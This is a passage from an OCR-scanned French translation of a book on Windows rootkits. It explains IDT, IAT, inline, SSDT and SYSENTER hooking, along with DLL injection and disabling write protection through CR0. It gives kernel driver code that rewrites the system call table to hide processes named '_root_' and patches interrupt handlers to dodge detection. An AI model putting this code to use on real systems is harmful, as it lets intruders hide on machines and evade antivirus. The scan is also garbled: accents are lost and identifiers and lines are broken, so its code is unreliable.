LIDT est implmente en tant que tableau (array) de 256 entres, une pour chaque
interruption. Ceci signifie quil peut y avoir jusqu 256 interruptions pour un
processeur. Sur une machine multiprocesseur, chaque processeur possde son propre
registre IDTR et donc sa propre IDT. Un rootkit dploy sur un tel ordinateur devra en
tenir compte.
Lorsquune interruption se produit, le numro de linterruption est obtenu partir de
linstruction dinterruption ou du contrleur dinterruption (ou PIC, Programmable
Interrupt Controller). Dans les deux cas, lIDT est utilise pour identifier la fonction
appeler. Cette fonction est aussi appele un vecteur ou une routine de service
dinterruption (ou ISR, Interrupt Service Routine).
Lorsque le processeur opre dans le mode protg, lIDT est un tableau de 256 entres
de 8 octets chacune. Chaque entre contient ladresse de lISR et dautres informations
de scurit.
Pour obtenir ladresse de base de lIDT en mmoire, il faut lire le registre IDTR avec
linstruction SI DT (Store Interrupt Descriptor Table). Vous pouvez aussi changer le
contenu du registre avec linstruction LIDT (Load Interrupt Descriptor Table).
Davantage de dtails concernant cette technique sont donns au Chapitre 8.
Une astuce employe par les rootkits est de crer une nouvelle table dinterruptions qui
peut tre utilise pour masquer les modifications apportes la table dinterruptions
originale. Ainsi, un scanner de virus pourra toujours vrifier lintgrit de lIDT
originale, mais le rootkit en fera une copie quil pourra modifier sans tre dtect et
changera la valeur de P IDTR.
Linstruction SIDT stocke le contenu de lIDTR dans le format suivant :
/* sidt retourne idt dans ce format */
typedef struct {
unsigned short IDTLimit;
unsigned short LowIDTbase;
unsigned short HilDTbase;
} IDTINFO;
80 Rootkits
SIDT,
Souvenez-vous que lIDT peut avoir jusqu 256 entres et que chaque entre contient,
entre autres donnes, un pointeur vers une routine de service dinterruption. Les
entres ont la structure suivante :
// Entre dans l'IDT : parfois appele //
"porte d'interruption" (interrupt gte).
#pragma pack(1) typedef struct {
unsigned short LowOffset;
unsigned short selector;
unsigned char unused_lo;
unsigned char segment_type:4; //0x0E est une porte d'interruption unsigned
char system_segment_flag: 1 ;
unsigned char DPL:2; // Niveau de privilges du descripteur (DPL) unsigned
char P : 1 ;
// prsent,
unsigned short HiOffset;
} IDTENTRY;
#pragma pack()
Nous avons dit plus haut que le nombre maximal dentres dune IDT est 256.
Le niveau matriel 81
Chapitre 3
{
IDTINFO idt_info; // Cette structure est obtenue en //
appelant STORE IDT (sidt)
IDTENTRY* idt_entries; // et ensuite ce pointeur est
// obtenu de idt_info.
unsigned long count;
// Charge idt_info
asm sidt, idt_info
Nous utilisons les donnes retournes par linstruction SIDT pour obtenir la base de
lIDT. Nous lisons ensuite chaque entre dans une boucle puis envoyons certaines
donnes en sortie de debug :
idt_entries = (IDTENTRY*)
MAKELONG(idt_inf o.LowIDTbase,idt_info.HilDTbase);
for(count = 0;count <= MAX_IDT_ENTRIES;count++)
{
char _t[255];
IDTENTRY *i = &idt_entries[count]; unsigned
long addr = 0;
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf(_t,
253,
"Interrupt %d: ISR 0x%08X", count, addr);
DbgPrint(_t);
}
return STATUS_SUCCESS;
}
Cet exemple de code illustre lanalyse de lIDT. Aucune modification nest apporte
la table. Toutefois, ce code pourrait facilement devenir la base de quelque chose de
plus complexe.
Davantage de dtails du travail avec les interruptions seront apports dans les
Chapitres 5 et 8.
82 Rootkits
masquables alors quune porte dinterruption ne le peut pas. En revanche, une porte de
tche est une fonction relativement prime du processeur. Elle peut tre utilise pour
forcer un changement de tche x86. Puisquelle nest pas employe par Windows,
nous ne donnerons pas dexemple de son emploi.
Il ne faut pas confondre une tche avec un processus sous Windows. Une tche pour
un processeur x86 est gre par un segment de changement de tche, ou TSS (Task
Switch Segment), une fonctionnalit qui tait utilise lorigine pour grer les tches
au moyen du matriel. Linux, Windows et un grand nombre dautres systmes
dexploitation implmentent le changement de tche au niveau logiciel et nutilisent
pas le mcanisme matriel sous-jacent.
Le niveau matriel 83
Chapitre 3
push
mov
and
mov
pop
eax
eax, CR0
eax, 0FFFEFFFFh
CR0, eax
eax
{
push
mov
or
mov
pop
eax
eax, CR0
eax, NOT 0FFFEFFFFh
CR0, eax
eax
84 Rootkits
ancien programme pour DOS est excut sous Windows NT. Lorsque ce mode est
activ, le processeur droute les instructions privilgies comme CLI, STI et INT. Dans
la plupart des cas, ces registres ne sont pas utiles aux rootkits.
Le registre EFLAGS
Le registre EFLAGS est galement important. Dune part, il gre lindicateur (ou fanion)
de droutement (tmp flcig). Lorsque cet indicateur est 1, le processeur opre en mode
pas pas. Un rootkit peut tirer parti de cette information pour savoir si un debugger est
actif ou pour chapper un scanner de virus. Il est possible de dsactiver les
interruptions en mettant lindicateur dinterruption 0 (interrupt flag). De plus, le bit
de niveau de privilges des E/S (IOPLflag) peut tre utilis pour modifier le systme de
protection par anneaux utilis par la plupart des systmes dexploitation sur la plateforme Intel.
Systmes multiprocesseurs
Avec les systmes multiprocesseurs parfois appels systmes multitraitement
symtrique ou SMP (Symmetric Multiprocessing System) et les systmes avec
hyperthreading, les dveloppeurs de rootkits sont confronts certains problmes, le
principal tant celui de la synchronisation. Si vous avez dj dvelopp des
applications multithreads, vous avez probablement dj t amen comprendre le
concept de scurit de thread et ce qui peut se produire si deux threads accdent
simultanment un mme objet de donnes. Sinon il suffit de savoir que, si deux
oprations distinctes accdent un mme objet, celui-ci sera corrompu.
Les systmes multiprocesseurs sapparentent en quelque sorte des environnements
multithreads car le code peut tre excut en mme temps sur plusieurs processeurs. Le
Chapitre 7 traite de la synchronisation multiprocesseur.
La Figure 3.8 illustre larchitecture dun systme multiprocesseur. Vous pouvez voir
que plusieurs processeurs se partagent une zone mmoire, un jeu de contrleurs et un
groupe de priphriques.
Il faut se souvenir de certains points propos des systmes multiprocesseurs :
H Chaque processeur possde sa propre table dinterruptions. En cas de hook de table
dinterruption, il faut prvoir la technique pour tous les processeurs. Il ne
sappliquerait sinon qu un processeur. Ce peut tre intentionnel si le rootkit na
pas besoin dun contrle 100 % des interruptions, mais cest rare.
Le niveau matriel 85
Chapitre 3
Mmoire
Priphrique
1
Priphrique^
Contrleur Northbridge |
1
physique
Contrleur Southbridge 1
____________________ P
Figure 3.8
Le rootkit doit dtecter le processeur qui excute son code. Pour cela, il peut utiliser
un appel de KeGetCurrentProcessorNumber. La fonction KeGetActive- Processors
permet de dterminer le nombre de processeurs actifs dans le systme.
86 Rootkits
Conclusion
Ce chapitre a introduit les mcanismes de niveau matriel qui fonctionnent en coulisse
pour assurer la scurit et la protection de la mmoire au niveau du systme
dexploitation. Nous avons vu lemploi de la table dinterruptions. Cette connaissance
forme la base sur laquelle vous pourrez dvelopper une comprhension plus profonde
de la manipulation des ordinateurs. Etant donn que le matriel sous-tend
limplmentation des logiciels, tous les programmes sont susceptibles dtre
manipuls au niveau matriel. Une comprhension dans le dtail de ces concepts est
un point de dpart dcisif pour acqurir de relles comptences en matire de rootkits
et de dtournement logiciel.
4
Lart du hooking
Comment locan devient-il le roi de tous les fleuves ? En se plaant plus bas qu
'eux ! Ainsi, il rgne sur eux.
- Lao Tseu
La plupart des rootkits servent deux objectifs : assurer un accs continu au systme
cible et garantir la furtivit des oprations. Pour les atteindre, un rootkit doit modifier
le chemin dexcution du systme dexploitation ou sen prendre directement aux
donnes reprsentant des informations sur les processus, les drivers, les connexions
rseau, etc. Le Chapitre 7 couvre la seconde approche. Ce chapitre-ci dcrit comment
changer le chemin dexcution de fonctions importantes fournies par le systme
dexploitation. Nous aborderons pour commencer de simples hooks en mode
utilisateur dans un processus cible puis passerons des hooks plus globaux de niveau
noyau et terminerons par la prsentation dune mthode hybride. Ne perdez pas de vue
que le but est dintercepter le flux normal dexcution et de modifier les informations
retournes par les API de reporting du systme dexploitation.
88 Rootkits
Etant donn que lapplication charge Kernel32.dll dans son espace dadressage priv
entre les adresses 0x00010000 et 0X7FFE0000, un rootkit peut directement remplacer
nimporte quelle fonction dans Kernel32.dll ou dans la table IAT de lapplication ds
lors quil a accs lespace dadressage du processus cible. Cette technique porte le
nom de hooking dAPI. Dans notre exemple, le rootkit pourrait remplacer FindNextFile
par un code machine personnalis afin dempcher le listage de certains fichiers ou de
modifier les performances de FindNextFile.
Chapitre 4
L'art du hooking 89
Figure 4.1
Il pourrait aussi remplacer une entre de la table IAT dans lapplication cible pour la
faire pointer vers la fonction du rootkit plutt que celle de Kernel32. dll. Grce au
hooking dAPI, vous pouvez, entre autres choses, dissimuler un processus, masquer un
port rseau, rediriger des oprations dcriture vers un autre fichier ou encore
empcher une application douvrir un handle sur un processus particulier. En fait, ce
que cette technique vous permet de faire dpend en grande partie de votre imagination.
Maintenant que vous comprenez la thorie de base du hooking dAPI et ce que vous
pouvez en faire, les trois prochaines sections examinent en dtail limplmentation
dun hook dAPI dans un processus utilisateur. La premire section explique comment
fonctionne un hook dIAT et la deuxime dcrit ce quest un hook de fonction en ligne
et comment il opre. La troisime aborde linjection dune DLL dans un processus
utilisateur.
90 Rootkits
1. M. Pietrek, "Peering Inside the PE: A Tour of the Win32 Portable Excutable File Format", Microsoft
Systems Journal, mars 1994.
Chapitre 4
L'art du hooking 91
Figure 4.2
Comme vous pouvez le voir la Figure 4.2, cette technique, tout en tant trs
puissante, est galement assez simple. Linconvnient est que ce type de hook est
relativement facile dcouvrir. Mais il est aussi frquemment utilis, mme par le
systme dexploitation dans le cadre dun processus appel DLL forwarding.
Quelquun qui tenterait de dtecter un hook de rootkit pourrait donc avoir du mal
distinguer un hook lgitime inoffensif dun hook malveillant.
Un autre problme avec cette technique concerne le moment auquel se produit la
liaison (binding). Certaines applications effectuent une liaison diffre (laie binding),
ce qui veut dire que les adresses des fonctions ne sont rsolues que lorsque ces
dernires sont invoques, rduisant la quantit de mmoire utilise par lapplication.
Ces adresses peuvent donc tre absentes de FIAT quand le rootkit tente de sy greffer.
De plus, si lapplication emploie LoadLibrary et GetProcAddress pour trouver les
adresses des fonctions, le hook de FIAT ne fonctionnera pas.
92 Rootkits
Pre-XP SP2
Code
Bytes
55
8bec
Assembly
push ebp
mov ebp, esp
Post-XP SP2
Code
Bytes
8bff
55
Assembly
mov edi, edi
push ebp
8bec
Chapitre 4
L'art du hooking 93
Lautre raison pour laquelle ce sont habituellement les premiers octets de la fonction
cible que lon remplace est que plus le hook est plac loin dans la fonction, plus le
retour dans le code est dlicat. Lemplacement hook peut tre appel de nombreuses
fois par la fonction cible, ce qui peut causer des rsultats indsirables. Pour simplifier
les choses, le rootkit devrait hooker lunique point dentre de la fonction et modifier
les rsultats quelle retourne aprs sa sortie.
Le rootkit enregistre les premiers octets de la fonction dorigine dans ce que lon
appelle un trampoline. Le saut qui est introduit la place se nomme un dtour. Le
dtour appelle le trampoline, qui se dbranche vers la fonction cible plus cinq octets
environ. Lorsque celle-ci rend le contrle au dtour, le rootkit peut modifier les
rsultats quelle retourne. La Figure 4.3 illustre ce processus. La fonction source
correspond au code qui invoque originellement la fonction cible.
Figure 4.3
1. G. Hunt et D. Brubacker, "Dtours: Binary Interception of Win32 Functions", Proceedings ofthe Third
USENIX Windows NT Symposium, juillet 1999, pp. 135-43.
2. J. Richter, "Load Your 32-bit DLL into Another Processs Address Space Using INJLIB", Microsoft Systems
Joumal/9 No. 5 (mai 1994).
94 Rootkits
NT\CurrentVer-
sion
\Windows
Certaines sources indiquent que cette technique prsente un inconvnient, savoir que
lordinateur doit tre redmarr aprs que le rootkit a modifi la cl de registre pour
que la nouvelle valeur prenne effet. Toutefois, ce nest pas entirement correct. Aucun
des processus crs avant la modification de la cl ne sera infect. En revanche, la
DLL du rootkit sera injecte dans tous les processus crs aprs, sans mme que la
machine ne soit rinitialise.
Injecter une DLL en utilisant des hooks Windows
Chapitre 4
L'art du hooking 95
Microsoft dfinit une fonction, SetWindowsHookEx, qui permet de hooker des messages
de fentre dun autre processus, ce qui permettrait de charger efficacement une DLL
de rootkit dans lespace dadressage du processus.
Imaginez que vous vouliez injecter une DLL dans un processus nomm B. Un autre
processus, que nous nommerons A ou le chargeur du rootkit (loader), peut invoquer
SetWindowsHookEx. Voici le prototype de cette fonction tel quil est dfini sur
Microsoft MSDN :
HHOOK SetWindowsHookEx( int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadld
);
Cette fonction accepte quatre paramtres. Le premier spcifie le type de message
dvnement qui dclenchera le hook. Par exemple, WH_KEYBOARD installe une
procdure de hooking qui surveille les vnements dentre du clavier. Le deuxime
indique ladresse dans le processus A de la fonction que le systme devrait appeler
lorsquune fentre est sur le point de traiter le message spcifi. Le troisime consiste
en ladresse virtuelle de la DLL qui contient cette fonction. Le dernier correspond au
thread qui doit tre hook. Si sa valeur est 0, le systme hooke tous les threads du
bureau Windows courant.
Supposons que A invoque SetWindowsHookEx (WH_KEYBOARD, myKeyBrdFuncAd,
myDUHandle, 0). Lorsque B est sur le point de recevoir un vnement du clavier, il
charge la DLL du rootkit indique par myDUHandle, qui contient la fonction
myKeyBrdFuncAd. Cette DLL pourrait tre la partie du rootkit qui hooke lIAT dans
lespace dadressage du processus ou implmente un hook de fonction en ligne. Le
code suivant illustre la faon dont la DLL du rootkit devrait tre implmente :
BOOL APIENTRY DllMain(HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
// N'importe quel code de hook peut tre ajout ici //
maintenant que vous tes dans l'espace d'adressage // du
processus cible.
}
return TRUE;
96 Rootkits
{
Il Le rootkit devrait appeler le prochain hook Il
immdiatement au-dessous, mais vous ne savez Il jamais de
quel type de hook il s'agit, return
CallNextHookEx(g_hhook, code, wParam, lParam);
Une autre faon de charger une DLL dans un processus cible consiste crer ce que
lon appelle un thread distant dans le processus. Vous devez pour cela crire un
programme qui crera le thread spcifiant la DLL charger. Cette stratgie se
rapproche de celle dcrite la section prcdente. La fonction CreateRemote- Thread
reoit sept paramtres :
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE IpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadld
Le premier paramtre est un handle sur le processus dans lequel injecter le thread.
Pour obtenir un handle sur le processus cible, le chargeur du rootkit peut invoquer
OpenProcess avec lidentifiant de ce processus, ou PID (Process Identifier). Voici le
prototype de cette fonction :
HANDLE OpenProcess(DWORD dwDesiredAccess,
BOOL blnheritHandle,
DWORD dwProcessId
NULL
et les troisime et
Restent les quatrime et cinquime paramtres, qui sont essentiels pour lattaque. Le
chargeur du rootkit devrait dfinir le quatrime paramtre avec ladresse de
LoadLibrary dans le processus cible. Vous pouvez employer ladresse qui se trouve
dans le chargeur du rootkit. Etant donn que cette adresse doit exister dans le
Chapitre 4
L'art du hooking 97
Cet appel rcupre ladresse de LoadLibrary dans le processus qui effectue linjection,
en supposant que Kernel32. dll occupe le mme emplacement de base dans le
processus cible (ce qui est gnralement le cas, car le placement en mmoire de la
DLL des adresses de base diffrentes demanderait plus de temps au systme
dexploitation, et Microsoft prfre viter la baisse de performances qui en
dcoulerait). LoadLibrary possdant les mmes format et type de retour que la
fonction THREAD_START_ROUTINE, son adresse peut tre utilise comme quatrime
paramtre pour CreateRemoteThread.
Le cinquime paramtre est ladresse en mmoire de largument qui sera pass
LoadLibrary. Le chargeur du rootkit ne peut pas simplement passer une chane ici, car
elle se rfrerait une adresse dans lespace dadressage du chargeur et cela naurait
par consquent aucun sens pour le processus cible. Microsoft a prvu deux fonctions
qui permettent au chargeur de contourner cet obstacle.
En appelant VirtualAllocEx, le chargeur peut allouer de la mmoire dans le processus
cible :
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
Pour crire le nom de la DLL utiliser lors de lappel de LoadLibrary dans le
processus cible, WriteProcessMemory est invoque avec ladresse retourne par
VirtualAllocEx. Voici le prototype de WriteProcessMemory :
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);
98 Rootkits
Dans la prsentation des hooks en mode utilisateur que nous venons de donner, vous
avez dcouvert quil sagit typiquement de hooks de la table IAT ou de hooks de
fonctions en ligne. Vous avez galement pu voir que leur implmentation demande
daccder lespace dadressage du processus cible et quun moyen daccs courant
consiste injecter une DLL ou un thread dans ce processus. A prsent que vous
comprenez ces concepts, nous allons pouvoir aborder les hooks de niveau noyau.
Chapitre 4
L'art du hooking 99
trouvent tous deux dans lanneau 0, le rootkit opre un niveau qui lui permet
dchapper ce logiciel ou de le dsactiver. Pour en apprendre davantage sur les
anneaux, reportez-vous au Chapitre 3.
Cette section dcrit les trois lments qui sont le plus communment hooks dans le
noyau, mais ne perdez pas de vue que vous pouvez en trouver dautres selon ce que
votre rootkit est cens accomplir.
Pour appeler une fonction spcifique, le dispatcheur de services systme, KiSystemService, prend simplement le numro didentification de la fonction et le multiplie
par 4 pour obtenir loffset dans la SSDT. Notez que la table KeServiceDescriptorTable
contient le nombre de services. Cette valeur est utilise pour dterminer loffset
maximal dans la SSDT ou la SSPT. La SSPT est aussi prsente la Figure 4.4.
Chaque lment de cette table possde une taille de un octet et indique sous forme
hexadcimale le nombre doctets que sa fonction correspondante
1. P. Dabak, S. Phadke et M. Borate, Undocumented Windows NT (New York : M&T Books, 1999), pp. 11729.
2. Ibid. pp. 128-9.
100 Rootkits
KeServiceDescriptorTable
804AE86B
80459214
804BDEF3
8050B034
ServiceCounterTable
00000000
NumberOfServices
F8
i
18 20 2C 2C
___________
W
40 2C ...
Figure 4.4
La table KeServiceDescriptorTable.
Chapitre 4
Une fois que le rootkit est charg en tant que driver, il peut modifier la SSDT pour
pointer vers une fonction quil fournit la place dune fonction de Ntos- krnl.exe ou
Win32k.sys. Lorsquune application extrieure au noyau effectue un appel dans le
noyau, la demande est traite par le dispatcheur et la fonction du rootkit est invoque.
Le rootkit peut ensuite passer lapplication toutes sortes dinformations trompeuses
pour se dissimuler lui-mme et les ressources quil emploie.
Changer les protections mmoire de la SSDT
102 Rootkits
Il Flags de la MDL
#define MDL_MAPPED_TO_SYSTEM_VA
0X0001
0X0002
#define MDL PAGES LOCKED
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004 #define MDL ALLOCATED FIXED SIZE
0X0008
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
MDL PARTIAL
0X0010
MDL PARTIAL HAS BEEN MAPPED 0X0020
MDL_IO_PAGE_READ
0X0040
0X0080
MDL WRITE OPERATION
MDL PARENT MAPPED SYSTEM VA 0X0100
MDL_LOCK_HELD
0X0200
MDL_PHYSICAL_VIEW
0X0400
MDL_IO_SPACE
0X0800
MDL_NETWORK_HEADER
0x1000
MDL MAPPING CAN FAIL
0x2000
MDL_ALLOCATED_MUST_SUCCEED 0x4000
Pour modifier ces flags, le code ci-aprs commence par dclarer une structure utilise
pour convertir la variable KeServiceDescriptorTable exporte par le noyau Windows.
Nous avons besoin de la base de la table de KeServiceDescriptorTable et du nombre
dentres quelle comprend pour lappel de MmCreateMdl. Ceci dfinit le dbut et la
taille de la zone de mmoire que nous voulons dcrire. Le rootkit cre ensuite la MDL
partir du pool de mmoire non pagine.
Le rootkit change les flags de la MDL pour pouvoir crire dans la zone en les
combinant par OR au flag MD L_MAP P E D_T 0_S Y ST EM_VA. Ensuite, il verrouille les
pages de la MDL en mmoire en invoquant MmMapLockedPages.
Nous pouvons maintenant commencer hooker la SSDT. Dans lexemple suivant,
MappedSystemCallTable reprsente la mme adresse que la SSDT dorigine, mais vous
pouvez prsent y crire :
// Dclarations #pragma pack(1)
typedef struct ServiceDescriptorEntry {
Chapitre 4
Il Mappe la mmoire dans notre zone pour changer les permissions de la MDL
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Change les flags de la MDL
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
Hooker la SSDT
Plusieurs macros sont utiles pour hooker la SSDT. La macro SYSTEMSERVICE prend
ladresse dune fonction exporte par Ntoskrnl.exe, une fonction Zw*, et retourne
ladresse de la fonction Nt* correspondante dans la SSDT. Les fonctions Nt* sont des
fonctions prives dont les adresses sont contenues dans la SSDT. Les fonctions Zw *
sont celles exportes par le noyau pour tre utilises par les drivers et dautres
composants du noyau. Notez quil ny a pas de correspondance biunivoque entre les
entres de la SSDT et les fonctions Zw*.
La macro SYSCALL_INDEX prend ladresse dune fonction Zw* et retourne le numro
dindex correspondant dans la SSDT. Cette macro et la macro SYSTEM- SERVICE1
fonctionnent grce lopcode au dbut des fonctions Zw*. Alors que nous rdigeons
ce livre, toutes les fonctions Zw* du noyau dbutent par lopcode mov e a x , ULONG,
o ULONG est le numro dindex de lappel systme dans la SSDT. En considrant le
deuxime octet de la fonction en tant que ULONG, ces macros rcuprent le numro
dindex de la fonction. Les macros H00K_SYSCALL et UNFIOOK_SYSCALL prennent
ladresse de la fonction Zw* qui est hooke, rcuprent
1. P. Dabak, S. Phadke et M. Borate, Undocumented Windows NT (New York : M&T Books, 1999), p. 119.
104 Rootkits
son index et remplacent ladresse cet index dans la SSDT par celle de la fonction
J-look1.
#define SYSTEMSERVICE(_func) \
KeServiceDescriptorTable.ServiceTableBase[
* (PULONG) ( (PUCHAR) Junc + 1 ) ]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _0rig )
\
_0rig = (PVOID) InterlockedExchange( (PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(Junction)], (LONG) _Hook) #define
UNHOOK_SYSCALL(_Func, _Hook, _0nig ) \
InterlockedExchange((PLONG)
\
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
Ces macros vous aideront crire un rootkit qui hooke la SSDT. Leur emploi est
illustr dans la section suivante. Maintenant que vous en savez un peu plus sur le
fonctionnement dun tel hook, nous allons pouvoir examiner un exemple.
Exemple : dissimuler des processus laide dun hook de la SSDT
Chapitre 4
enregistrement
de processus
distance jusqu'
l'enregistrement
suivant
Figure 4.5
Structure du tampon SystemlnformationClass.
Le code suivant illustre le format de ces structures dans le tampon retourn par
ZwQuerySystemlnformation :
struct
SYSTEM_THREADS
{
LARGE_INTEGER
LARGE_INTEGER
LARGE_INTEGER
ULONG
PVOID
CLIENT_ID
KPRIORITY
KPRIORITY
ULONG
KernelTime;
UserTime;
CreateTime;
WaitTime;
StantAddress;
Clientls;
Priority;
BasePriority;
ContextSwitchCount
ULONG
KWAIT_REASON
ThreadState;
WaitReason;
106 Rootkits
Struct _SYSTEM_PROCESSES
{
ULONG
ULONG
ULONG
LARGE_INTEGER
LARGE_INTEGER
LARGE_INTEGER
UNICODE_STRING
KPRIORITY
ULONG
ULONG
ULONG
ULONG
VM_COUNTERS
IO_COUNTERS
Struct SYSTEM THREADS
NextEntryDelta;
ThreadCount;
Reserved[6];
CreateTime;
UserTime;
KernelTime;
ProcessName;
BasePriority;
Processld;
InheritedFromProcessId;
HandleCount;
Reserved2[2];
VmCounters;
IoCounters; // Windows
Threads[1];
2000
uniquement
{
NTSTATUS ntStatus; ntStatus =
((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemlnformation))
(SystemlnformationClass,
Systemlnformation,
SystemlnformationLength,
ReturnLength);
if( NT_SUCCESS(ntStatus))
{
// Demande une liste de fichiers et de rpertoires
if(SystemlnformationClass == 5)
Chapitre 4
{
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Butter, L"_root_", 12))
{
m_UserTime.QuadPart += curr->Userime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Entre au milieu ou en dernire place
{
if(curr->NextEntryDelta)
prev->NextEntryDelta +=
eurr->NextEntryDelta;
else // Dernire place, prev devient la fin
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// Entre en dbut de liste,
// on l'avance.
(char*)SystemInformation +=
curr->NextEntryDelta;
{
// Ajoute au processus Idle les temps noyau
// et utilisateur des processus _root_*.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_Kernelime.QuadPart;
// Rinitialise les timers pour le prochain filtrage
m_Userime.QuadPart = m_KernelTime.QuadPart = 0;
>
}
prev = curr;
if(curr->NextEntryDelta)((char*)curr+=
curr->NextEntryDelta) ;
else curr = NULL;
108 Rootkits
else if (SystemlnformationClass == 8)
Il Interrogation de SystemProcessorTimes
}
}
return ntStatus;
Rootkit.com
Vous pouvez tlcharger le code pour hooker la SSDT et dissimuler
des processus l'adresse
www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip.
Avec le hook prcdent en place, le rootkit dissimulera tous les processus dont le nom
dbute par _root_. Ceci nest quun exemple et vous pouvez changer les noms des
processus. Il y a galement de nombreuses autres fonctions dans la SSDT que vous
pourriez vouloir hooker.
Nous allons maintenant aborder un autre emplacement du noyau quil est possible de
hooker.
Chapitre 4
Les entres de lIDT consistent chacune en une structure de 64 bits de long, prsente
ci-aprs, et sont elles aussi rparties en deux valeurs WORD. Chaque entre contient
ladresse de la fonction qui grera une interruption particulire. Les membres
LowOffset et HiOffset de la structure IDTENTRY forment ladresse du gestionnaire de
linterruption :
#pragma pack(1) typedef struct
1 1 0 Rootkits
{
WORD LowOffset;
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5; Il TYPE mmoris ?
unsigned char DPL:2;
unsigned char P : 1 ;
Il Le vecteur est prsent
WORD HiOffset ;
} IDTENTRY;
#pragma pack()
fonction Hooklnterrupts suivante dclare un pointeur global
La
de type DWORD qui
stockera le vrai gestionnaire de linterruption INT 2E, KiSystemService. Elle dfinit
galement NT_SYSTEM_SERVICE_INT en tant que 0x2E. Il sagit de lindex qui sera hook
dans lIDT. Le code remplacera la vritable entre dans lIDT par une IDTENTRY
contenant ladresse du hook :
DWORD KiRealSystemServiceISR_Ptr; // Le vritable gestionnaire de INT 2E
#define NT_SYSTEM_SERVICE_INT 0x2e int Hooklnterrupts()
{
IDTINFO idt_info;
IDTENTRY* idt_entries;
IDTENTRY* int2e_entry;
__ asm{
sidt idt_info;
}
idt_entries =
(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HilDTbase);
KiRealSystemServiceISR_Ptr = // Enregistre la vritable adresse
// du gestionnaire.
MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
/*******************************************************
* Note : N'IMPORTE QUELLE interruption peut tre patche ici.
* Il n'y a pas de limites.
******************************************************* J
int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
__ asm{
cli;
Il Masque les interruptions,
lea eax,MyKiSystemService; Il Charge dans EAX l'adresse du
Il hook.
mov ebx, int2e_entry;
Il L'adresse du gestionnaire
Il de INT 2E dans la table.
mov [ebx],ax;
Il Remplace le vritable gestionnaire
Il par les 16 bits de poids faible Il
de l'adresse du hook.
shr eax,16
Chapitre 4
mov [ebx+6],ax;
sti;
}
return 0;
}
A prsent que le hook est install dans lIDT, le rootkit peut dtecter ou empcher
nimporte quel processus dutiliser nimporte quel appel systme. Souvenez-vous que
le numro dappel systme est contenu dans le registre EAX. Nous pouvons rcuprer un
pointeur vers le EPROCESS courant en appelant PsGetCurrentProcess. Voici le prototype
des premires lignes de code qui permettent cela :
_ declspec(naked) MyKiSystemService()
{
__asm{
pushad pushfd push fs mov bx,0x30 mov fs,bx push ds push
es
// Insrer le code de dtection ou de prvention ici.
Finish
: pop
es pop
ds pop
fs
popfd
popad
jmp KiRealSystemServiceISR_Ptr; // Appelle la vritable fonction
}
}
Rootkit.com
Le code de cet exemple peut tre tlcharg l'adresse
www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip.
SYSENTER
Les versions rcentes de Windows nutilisent plus INT 2E et nexaminent plus non plus
lIDT pour demander des services dans la table dappels systme. Elles emploient la
place la mthode dappel rapide. Dans ce cas, Ntdll.dll charge dans le registre EAX le
numro dappel systme du service demand et charge dans
112 Rootkits
la
pile courante,
ESP.
Linstruction SYSENTER passe le contrle ladresse spcifie dans lun des registres
MSR (Model-Specific Register). Le nom de ce registre est IA32 SYSENTER EIP. Il est
possible de le lire et dy crire, mais cette instruction est privilgie, ce qui signifie
quelle doit tre excute depuis lanneau 0.
Voici un simple driver qui lit la valeur de IA32_SYSENTER_EIP, la stocke dans une
variable globale et charge dans le registre ladresse du hook. Ce hook, MyKiFastCallEntry, naccomplit rien de particulier en dehors de se dbrancher vers la fonction
dorigine. Il sagit de la premire tape ncessaire pour hooker le flux de contrle de
SYSENTER.
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // Valeur d'origine de
// ntoskrnl!KiFastCallEntry.
VOID OnUnloadf IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("R00TKIT: OnUnload called\n);
}
// Fonction de hooking
_ declspec(naked) MyKiFastCallEntry()
{
_ asm {
jmp [d_origKiFastCallEntry]
}
}
NTSTATUS DriverEntry(PDRIVER_OBJECT theDriverObject,
PUNICODE_STRING theRegistryPath)
{
theDriverObject->DriverUnload = OnUnload;
_ asm {
mov ecx, 0x176
rdmsr // Lit la valeur du registre IA32_SYSENTER_EIP mov
d_origKiFastCallEntry, eax
